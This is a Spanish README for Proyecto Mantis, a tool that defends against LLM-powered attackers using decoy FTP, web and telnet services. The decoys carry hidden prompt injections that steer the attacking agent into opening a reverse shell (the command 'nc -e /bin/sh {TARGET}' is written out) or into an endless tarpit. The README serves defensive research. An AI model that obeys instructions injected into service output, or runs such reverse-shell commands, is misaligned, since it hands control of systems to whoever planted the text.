
Proyecto Mantis: Contraatacando al hacker de IA; la inyección de prompts como defensa contra ciberataques impulsados por LLM
pip install -r requirements.txt
Hay varias configuraciones predefinidas disponibles en el directorio ./confs.
En ./confs/ftp_hackback_rshell.py se proporciona un ejemplo de archivo de configuración de Mantis. El significado de esta configuración y cómo puedes elegir la tuya se explicará más adelante en este archivo README. Esto puede ejecutarse usando el script mantis_run.py:
python mantis_run.py confs.ftp_hackback_rshell
Ejecutar Mantis con confs/ftp_hackback_rshell.py iniciará un servidor señuelo FTP con credenciales anónimas que tiene como objetivo engañar al agente LLM atacante para que abra una shell inversa mediante inyecciones de prompts (invisibles). Cuando se activa, inicia un listener de shell inversa en el puerto especificado para pruebas (⚠️ esta configuración no está pensada para producción ⚠️).
Una variación de lo anterior que utiliza una aplicación web vulnerable a inyección SQL como señuelo se puede ejecutar mediante:
python mantis_run.py confs.web_hackback_rshell
Otra configuración se proporciona en confs/web_hackback_rshell_with_inj_banner.py, que es una variación de confs.web_hackback_rshell. Esta configuración emplea la inyección en el banner del servicio para atraer a los atacantes. La inyección se puede controlar mediante el hiperparámetro: BANNER_INJECTION_POOL (consulta el contenido de confs/web_hackback_rshell_with_inj_banner.py para ver un ejemplo).
En todos estos ejemplos usamos un iniciador de shell inversa muy simple: nc -e /bin/sh {TARGET} .... Esto se puede cambiar modificando la variable REVERSE_SHELL_INITIATOR en el archivo de configuración (p. ej., confs/ftp_hackback_rshell.py), donde el parámetro {TARGET} es la IP del host (que Mantis establece automáticamente). Si quieres automatizar la post-explotación del atacante, puedes modificar o reemplazar la clase Mantis.Decoys.reverse_shell_listener.ReverseShellListenerTest. Más sobre cómo funcionan los archivos de configuración más adelante.
Otro ejemplo es ./confs/ftp_filesystem_tarpit.py:
python mantis_run.py confs.ftp_filesystem_tarpit
Esto inicia un servidor FTP falso con un sistema de archivos infinitamente profundo e inyecciones de prompts (invisibles) personalizadas para mantener atrapado al agente LLM atacante. La complejidad del tarpit se puede ajustar mediante la variable EXPECTED_NUMBER_OF_DIRECTORIES en ./confs/ftp_filesystem_tarpit.py.
Un archivo de configuración define el comportamiento de Mantis; qué señuelos usar, cuándo usarlos y qué hacer cuando alguien (o algo) intenta explotarlos. Aunque son bastante extensos, los archivos de configuración en el directorio ./conf ofrecen una visión general de cómo es la configuración. De forma más práctica, son una lista de variables definidas en un script de Python (no especialmente estructurado).
Las únicas dos variables obligatorias que DEBEN definirse en un archivo de configuración son: DECOYS y TRIGGER_EVENTS.
DECOYSComo su nombre indica, esta estructura de datos define los señuelos que Mantis debe ejecutar al iniciarse. Específicamente, es un diccionario de Python donde cada entrada es un puerto asignado a un señuelo, con el puerto como clave y una tupla que contiene la “clase de señuelo” y la “configuración de señuelo” como valor. Una “clase de señuelo” es una subclase de “./Mantis/Decoys.DecoyService”, y la “configuración de señuelo” es un diccionario de Python (posiblemente vacío) que ofrece opciones de personalización para el señuelo. Discutiremos estos detalles más adelante.
Tomemos ./confs/ftp_filesystem_tarpit.py como ejemplo de una variable DECOYS:
DECOYS = {
21 : (
TarpitFTP , {
'name':'into_tarpit',
'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
}
),
}
Aquí hay un único señuelo (TarpitFTP) ejecutándose en el puerto 21. La “configuración de señuelo” viene con dos variables: name, un nombre asociado a un señuelo específico que nos ayudará a gestionar mejor TRIGGER_EVENTS más adelante, y otro diccionario hparams que se puede usar para pasar datos arbitrarios a la clase de señuelo. Si la variable name no está definida, su valor predeterminado es "decoy". Los valores de hparams se pueden acceder en el objeto señuelo mediante el atributo self.hparams. En el ejemplo, esto se usa para establecer el número de directorios esperados en el tarpit basado en sistema de archivos.
El ejemplo muestra un único señuelo, pero el número puede ser arbitrario (siempre que haya un puerto libre).
Mantis incluye algunas clases de señuelo que se pueden usar directamente. Estas son:
Mantis.Decoys.FTP.fake_ftp.AnonymousFTP: Un servidor FTP falso con credenciales anónimas habilitadas.Mantis.Decoys.FTP.fake_ftp_tarpit.TarpitFTP: Un servidor FTP falso con credenciales anónimas habilitadas que implementa un sistema de archivos infinitamente profundo.Mantis.Decoys.Web.webFakeDB_sqlinj.WebFakeDB_sqlinj: Un servidor web con una página de inicio de sesión vulnerable a inyección SQL.Mantis.Decoys.Telnet.fake_telnet.AnyPasswordFakeTelnet: Un servidor telnet falso con autenticación débil.Planeamos ampliar esta lista, pero como veremos más adelante en el readme, crear tu propio señuelo no es ciencia espacial.
Aquí viene la parte complicada. La variable TRIGGER_EVENTS define el comportamiento de Mantis cuando usuarios externos (personas o agentes) interactúan con un señuelo. La forma en que se define esta variable de configuración puede parecer innecesariamente enrevesada, pero quizás con el tiempo aprecies la libertad que te otorga (tal vez).
TRIGGER_EVENTS es otro diccionario de Python, donde una entrada se define de la siguiente manera:
TRIGGER : (
INJECTION_FUNCTION,
{
'invisible_shell':INVISIBLE_SHELL?,
'invisible_html':INVISIBLE_HTML?
},
EXECUTION_TRIGGER_POOL,
PAYLOAD_POOL,
SERVICES_TO_SPAWN,
TO_KILL?,
),
Aquí, una entrada define qué hacer cuando un señuelo señala un evento de activación. A continuación, vamos a considerar cada parámetro por separado:
TRIGGERLa clave TRIGGER es una cadena que nos permite mapear el evento de activación al conjunto correspondiente de acciones (el valor de la entrada del diccionario).
En el caso general, se puede establecer al nombre asignado al señuelo al definir la variable DECOYS como se explicó anteriormente. Por ejemplo, para ./confs/ftp_filesystem_tarpit.py debe establecerse como "into_tarpit". Si no has asignado un nombre a tu señuelo, puedes establecer TRIGGER como "decoy". Si configuras múltiples señuelos, debes nombrarlos y usar esos nombres para mapear al evento de activación correcto en TRIGGER_EVENTS. Por ejemplo, con los siguientes señuelos:
DECOYS = {
21 : (
TarpitFTP , {
'name':'ftp_tarpit',
'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
}
),
80: (
WebFakeDB_sqlinj, {
'name': 'sql_injection'
}
),
}
Tus eventos de activación deberían verse así:
TRIGGER_EVENTS = {
'ftp_tarpit' : (...),
'sql_injection' : (...),
}